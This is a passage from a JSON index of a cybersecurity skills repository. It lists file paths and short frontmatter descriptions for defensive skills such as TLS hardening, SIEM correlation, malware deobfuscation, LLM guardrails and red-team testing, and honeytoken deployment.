-->","isInternal":false,"tokens":675,"sizeBytes":2573},{"name":"workflows.md","path":"skills/configuring-tls-1-3-for-secure-communications/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-tls-1-3-for-secure-communications/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":539,"sizeBytes":2304},{"name":"SKILL.md","path":"skills/configuring-tls-1-3-for-secure-communications/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-tls-1-3-for-secure-communications/SKILL.md","title":"configuring-tls-1-3-for-secure-communications","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-tls-1-3-for-secure-communications%2FSKILL.md -->","frontmatter":{"name":"configuring-tls-1-3-for-secure-communications","description":"Configures TLS 1.3 (RFC 8446) on servers, covering cipher suite and key-exchange group selection, and validates the resulting configuration with openssl s_client and testssl.sh. Use when deploying or hardening TLS 1.3 for secure communications, or when testing a server for common TLS misconfigurations and vulnerabilities.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","tls","ssl","transport-security","network-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1557","T1040","T1573.002","T1539","T1556.004"]},"isInternal":false,"tokens":1103,"sizeBytes":4340},{"name":"template.md","path":"skills/configuring-windows-defender-advanced-settings/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-defender-advanced-settings/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":680,"sizeBytes":2624},{"name":"api-reference.md","path":"skills/configuring-windows-defender-advanced-settings/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-defender-advanced-settings/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":401,"sizeBytes":1380},{"name":"standards.md","path":"skills/configuring-windows-defender-advanced-settings/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-defender-advanced-settings/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":982,"sizeBytes":3313},{"name":"workflows.md","path":"skills/configuring-windows-defender-advanced-settings/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-defender-advanced-settings/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":709,"sizeBytes":3088},{"name":"SKILL.md","path":"skills/configuring-windows-defender-advanced-settings/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-defender-advanced-settings/SKILL.md","title":"configuring-windows-defender-advanced-settings","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-defender-advanced-settings%2FSKILL.md -->","frontmatter":{"name":"configuring-windows-defender-advanced-settings","description":"Configures Microsoft Defender for Endpoint (MDE) advanced protection settings including attack surface reduction rules, controlled folder access, network protection, and exploit protection. Use when hardening Windows endpoints beyond default Defender settings, deploying enterprise-grade endpoint protection, or meeting compliance requirements for advanced malware defense. Activates for requests involving Windows Defender configuration, ASR rules, MDE tuning, or Microsoft endpoint security.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","windows-security","Microsoft-Defender","ASR","exploit-protection","MDE"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1685","T1204.002","T1059.001","T1055","T1547.001"]},"isInternal":false,"tokens":2912,"sizeBytes":12264},{"name":"template.md","path":"skills/configuring-windows-event-logging-for-detection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-event-logging-for-detection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":126,"sizeBytes":508},{"name":"api-reference.md","path":"skills/configuring-windows-event-logging-for-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-event-logging-for-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":405,"sizeBytes":1567},{"name":"standards.md","path":"skills/configuring-windows-event-logging-for-detection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-event-logging-for-detection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":93,"sizeBytes":391},{"name":"workflows.md","path":"skills/configuring-windows-event-logging-for-detection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-event-logging-for-detection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":80,"sizeBytes":349},{"name":"SKILL.md","path":"skills/configuring-windows-event-logging-for-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-windows-event-logging-for-detection/SKILL.md","title":"configuring-windows-event-logging-for-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-windows-event-logging-for-detection%2FSKILL.md -->","frontmatter":{"name":"configuring-windows-event-logging-for-detection","description":"Configures Windows Event Logging with advanced audit policies to generate high-fidelity security events for threat detection and forensic investigation. Use when enabling audit policies for logon events, process creation, privilege use, and object access to feed SIEM detection rules. Activates for requests involving Windows audit policy, event log configuration, security logging, or detection-oriented logging.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","windows-security","event-logging","audit-policy","detection-engineering"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1685.005","T1059.001","T1053.005","T1047","T1543.003"]},"isInternal":false,"tokens":1558,"sizeBytes":6577},{"name":"template.md","path":"skills/configuring-zscaler-private-access-for-ztna/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-zscaler-private-access-for-ztna/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":924,"sizeBytes":3425},{"name":"api-reference.md","path":"skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-zscaler-private-access-for-ztna/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":354,"sizeBytes":1451},{"name":"standards.md","path":"skills/configuring-zscaler-private-access-for-ztna/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-zscaler-private-access-for-ztna/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":486,"sizeBytes":1955},{"name":"workflows.md","path":"skills/configuring-zscaler-private-access-for-ztna/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-zscaler-private-access-for-ztna/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":799,"sizeBytes":3424},{"name":"SKILL.md","path":"skills/configuring-zscaler-private-access-for-ztna/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/configuring-zscaler-private-access-for-ztna/SKILL.md","title":"configuring-zscaler-private-access-for-ztna","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconfiguring-zscaler-private-access-for-ztna%2FSKILL.md -->","frontmatter":{"name":"configuring-zscaler-private-access-for-ztna","description":"Configures Zscaler Private Access (ZPA) to replace traditional VPN with zero trust network access by deploying App Connectors, defining application segments, configuring identity- and device-posture-based access policies, and integrating with IdPs. Use when replacing VPN concentrators with ZTNA or providing remote users secure access to internal applications without network-level connectivity.\n","domain":"cybersecurity","subdomain":"zero-trust-architecture","tags":["zscaler","zpa","ztna","zero-trust","app-connector","access-policy","sase"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-05","PR.IR-01","GV.PO-01"],"mitre_attack":["T1133","T1078","T1021","T1219","T1190"]},"isInternal":false,"tokens":2828,"sizeBytes":11707},{"name":"api-reference.md","path":"skills/containing-active-breach/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/containing-active-breach/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontaining-active-breach%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":707,"sizeBytes":2512},{"name":"SKILL.md","path":"skills/containing-active-breach/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/containing-active-breach/SKILL.md","title":"containing-active-breach","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontaining-active-breach%2FSKILL.md -->","frontmatter":{"name":"containing-active-breach","description":"Executes containment strategies to stop active adversary operations and prevent lateral movement during a confirmed security breach. Implements short-term and long-term containment using network segmentation, endpoint isolation, credential revocation, and access control modifications. Activates for requests involving breach containment, lateral movement prevention, network isolation, active threat containment, or live incident response.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["breach-containment","lateral-movement","network-isolation","credential-revocation","live-response"],"mitre_attack":["T1486","T1021.002","T1078","T1071.001","T1570"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2250,"sizeBytes":10665},{"name":"api-reference.md","path":"skills/continuous-llm-red-teaming-with-promptfoo/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/continuous-llm-red-teaming-with-promptfoo/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":561,"sizeBytes":2178},{"name":"standards.md","path":"skills/continuous-llm-red-teaming-with-promptfoo/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/continuous-llm-red-teaming-with-promptfoo/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":406,"sizeBytes":1542},{"name":"SKILL.md","path":"skills/continuous-llm-red-teaming-with-promptfoo/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/continuous-llm-red-teaming-with-promptfoo/SKILL.md","title":"continuous-llm-red-teaming-with-promptfoo","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcontinuous-llm-red-teaming-with-promptfoo%2FSKILL.md -->","frontmatter":{"name":"continuous-llm-red-teaming-with-promptfoo","description":"Wires Promptfoo and DeepTeam into CI/CD for automated, repeatable red-teaming of LLM apps against OWASP LLM Top 10, OWASP Agentic, and MITRE ATLAS presets, failing the build when jailbreak or injection vulnerabilities regress. Use for continuous adversarial testing in CI/CD, a merge-blocking security gate, or comparing model/prompt versions for compliance reporting.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","llm-red-teaming","promptfoo","deepteam","ci-cd","owasp-llm-top10","jailbreak","regression-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MANAGE-4.1"],"atlas_techniques":["AML.T0051"]},"isInternal":false,"tokens":2426,"sizeBytes":9827},{"name":"api-reference.md","path":"skills/correlating-security-events-in-qradar/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/correlating-security-events-in-qradar/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-security-events-in-qradar%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":673,"sizeBytes":2295},{"name":"SKILL.md","path":"skills/correlating-security-events-in-qradar/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/correlating-security-events-in-qradar/SKILL.md","title":"correlating-security-events-in-qradar","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-security-events-in-qradar%2FSKILL.md -->","frontmatter":{"name":"correlating-security-events-in-qradar","description":"Correlates security events in IBM QRadar SIEM using AQL (Ariel Query Language), custom rules, building blocks, and offense management to detect multi-stage attacks across network, endpoint, and application log sources. Use when SOC analysts need to investigate QRadar offenses, build correlation rules, or tune detection logic for reducing false positives.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","qradar","siem","aql","correlation","offense-management","ibm"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1110.003","T1021","T1071.001","T1041"]},"isInternal":false,"tokens":2566,"sizeBytes":10191},{"name":"api-reference.md","path":"skills/correlating-threat-campaigns/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/correlating-threat-campaigns/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-threat-campaigns%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":631,"sizeBytes":2192},{"name":"SKILL.md","path":"skills/correlating-threat-campaigns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/correlating-threat-campaigns/SKILL.md","title":"correlating-threat-campaigns","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcorrelating-threat-campaigns%2FSKILL.md -->","frontmatter":{"name":"correlating-threat-campaigns","description":"Correlates disparate security incidents, IOCs, and adversary behaviors across time and organizations to identify unified threat campaigns, attribute them to common threat actors, and extract shared indicators for improved detection. Use when multiple incidents exhibit overlapping indicators, when sector-wide attack campaigns require cross-organizational analysis, or when building campaign-level intelligence products. Activates for requests involving campaign analysis, incident clustering, cross-organizational IOC correlation, or MISP correlation engine.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["campaign-analysis","correlation","MISP","ATT&CK","threat-actor","intrusion-set","clustering","CTI"],"version":"1.0.0","author":"team-cybersecurity","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1566","T1071.001","T1587.001","T1583.001","T1588.002"]},"isInternal":false,"tokens":1556,"sizeBytes":7297},{"name":"api-reference.md","path":"skills/defending-llms-with-guardrails/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/defending-llms-with-guardrails/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":861,"sizeBytes":3132},{"name":"standards.md","path":"skills/defending-llms-with-guardrails/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/defending-llms-with-guardrails/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":436,"sizeBytes":1795},{"name":"SKILL.md","path":"skills/defending-llms-with-guardrails/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/defending-llms-with-guardrails/SKILL.md","title":"defending-llms-with-guardrails","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdefending-llms-with-guardrails%2FSKILL.md -->","frontmatter":{"name":"defending-llms-with-guardrails","description":"Deploys Llama Guard 3 safety classification, NeMo Guardrails programmable dialogue rails, and LLM Guard input/output scanner pipelines as complementary runtime defenses that inspect and constrain LLM prompts and responses. Use when adding a production runtime safety layer to an LLM, RAG, or agent application to block jailbreaks, prompt injection (OWASP LLM01), toxic content, or sensitive-data leakage before it reaches or leaves the model.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","llm-guardrails","llama-guard","nemo-guardrails","llm-guard","prompt-injection","content-moderation","runtime-defense"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MANAGE-2.1"],"atlas_techniques":["AML.T0054"]},"isInternal":false,"tokens":3057,"sizeBytes":12383},{"name":"api-reference.md","path":"skills/deobfuscating-javascript-malware/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deobfuscating-javascript-malware/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-javascript-malware%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":611,"sizeBytes":2029},{"name":"SKILL.md","path":"skills/deobfuscating-javascript-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deobfuscating-javascript-malware/SKILL.md","title":"deobfuscating-javascript-malware","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-javascript-malware%2FSKILL.md -->","frontmatter":{"name":"deobfuscating-javascript-malware","description":"Deobfuscates malicious JavaScript found in phishing pages, web skimmers, and dropper scripts by reversing encoding layers, eval chains, string manipulation, and control-flow obfuscation to reveal the original malicious logic. Use when investigating a phishing page's obfuscated JavaScript, analyzing a Magecart-style web skimmer, or deobfuscating a JavaScript dropper that fetches second-stage malware.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","JavaScript","deobfuscation","web-malware","script-analysis"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1027.010","T1140","T1059.007","T1027.006"]},"isInternal":false,"tokens":3116,"sizeBytes":13114},{"name":"template.md","path":"skills/deobfuscating-powershell-obfuscated-malware/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deobfuscating-powershell-obfuscated-malware/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":358,"sizeBytes":1353},{"name":"api-reference.md","path":"skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":375,"sizeBytes":1425},{"name":"standards.md","path":"skills/deobfuscating-powershell-obfuscated-malware/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deobfuscating-powershell-obfuscated-malware/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":512,"sizeBytes":1907},{"name":"workflows.md","path":"skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":286,"sizeBytes":2348},{"name":"SKILL.md","path":"skills/deobfuscating-powershell-obfuscated-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deobfuscating-powershell-obfuscated-malware/SKILL.md","title":"deobfuscating-powershell-obfuscated-malware","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeobfuscating-powershell-obfuscated-malware%2FSKILL.md -->","frontmatter":{"name":"deobfuscating-powershell-obfuscated-malware","description":"Systematically deobfuscates multi-layer PowerShell malware using AST analysis, dynamic tracing, and tools like PSDecode and PowerDecode to reveal hidden payloads and C2 infrastructure. Use during incident response or malware analysis when a PowerShell script is obfuscated with encoding, string manipulation, or invocation tricks and you need to recover the underlying commands, dropped payloads, or C2 endpoints.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["powershell","deobfuscation","malware-analysis","scripting","obfuscation","ast-analysis","incident-response"],"mitre_attack":["T1059.001","T1027.010","T1140","T1027","T1620"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"]},"isInternal":false,"tokens":3360,"sizeBytes":14187},{"name":"api-reference.md","path":"skills/deploying-active-directory-honeytokens/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-active-directory-honeytokens/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-active-directory-honeytokens%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":3010,"sizeBytes":12004},{"name":"SKILL.md","path":"skills/deploying-active-directory-honeytokens/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-active-directory-honeytokens/SKILL.md","title":"deploying-active-directory-honeytokens","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-active-directory-honeytokens%2FSKILL.md -->","frontmatter":{"name":"deploying-active-directory-honeytokens","description":"Deploys deception-based honeytokens in Active Directory including fake privileged accounts with AdminCount=1, fake SPNs for Kerberoasting detection (honeyroasting), decoy GPOs with cpassword traps, and fake BloodHound paths. Monitors Windows Security Event IDs 4769, 4625, 4662, 5136 for honeytoken interaction. Use when implementing AD deception defenses for detecting lateral movement, credential theft, and reconnaissance.\n","domain":"cybersecurity","subdomain":"deception-technology","tags":["active-directory","honeytokens","kerberoasting","deception","detection","bloodhound","gpo"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-06","PR.IR-01"],"mitre_attack":["T1558.003","T1558.004","T1110.003","T1003.006","T1552.006"]},"isInternal":false,"tokens":2400,"sizeBytes":9651},{"name":"template.md","path":"skills/deploying-cloud-deception-with-decoy-resources/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-cloud-deception-with-decoy-resources/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":683,"sizeBytes":2380},{"name":"standards.md","path":"skills/deploying-cloud-deception-with-decoy-resources/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-cloud-deception-with-decoy-resources/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":959,"sizeBytes":4187},{"name":"SKILL.md","path":"skills/deploying-cloud-deception-with-decoy-resources/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/deploying-cloud-deception-with-decoy-resources/SKILL.md","title":"deploying-cloud-deception-with-decoy-resources","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdeploying-cloud-deception-with-decoy-resources%2FSKILL.md -->","frontmatter":{"name":"deploying-cloud-deception-with-decoy-resources","description":"Deploy cloud-native deception across AWS, Azure, and GCP using decoy (honey) resources whose only purpose is to generate a high-fidelity alert the instant an attacker touches them: canary IAM access keys, permission-less decoy users/roles/service principals, honey object-storage buckets, and decoy secrets in Secrets Manager / Key Vault / Secret Manager. Wires detection through CloudTrail + EventBridge, Azure Sentinel honeytoken watchlists + Defender, and GCP Cloud Audit Logs, so any use of a decoy is routed to the SOC with near-zero false positives. Use when protecting 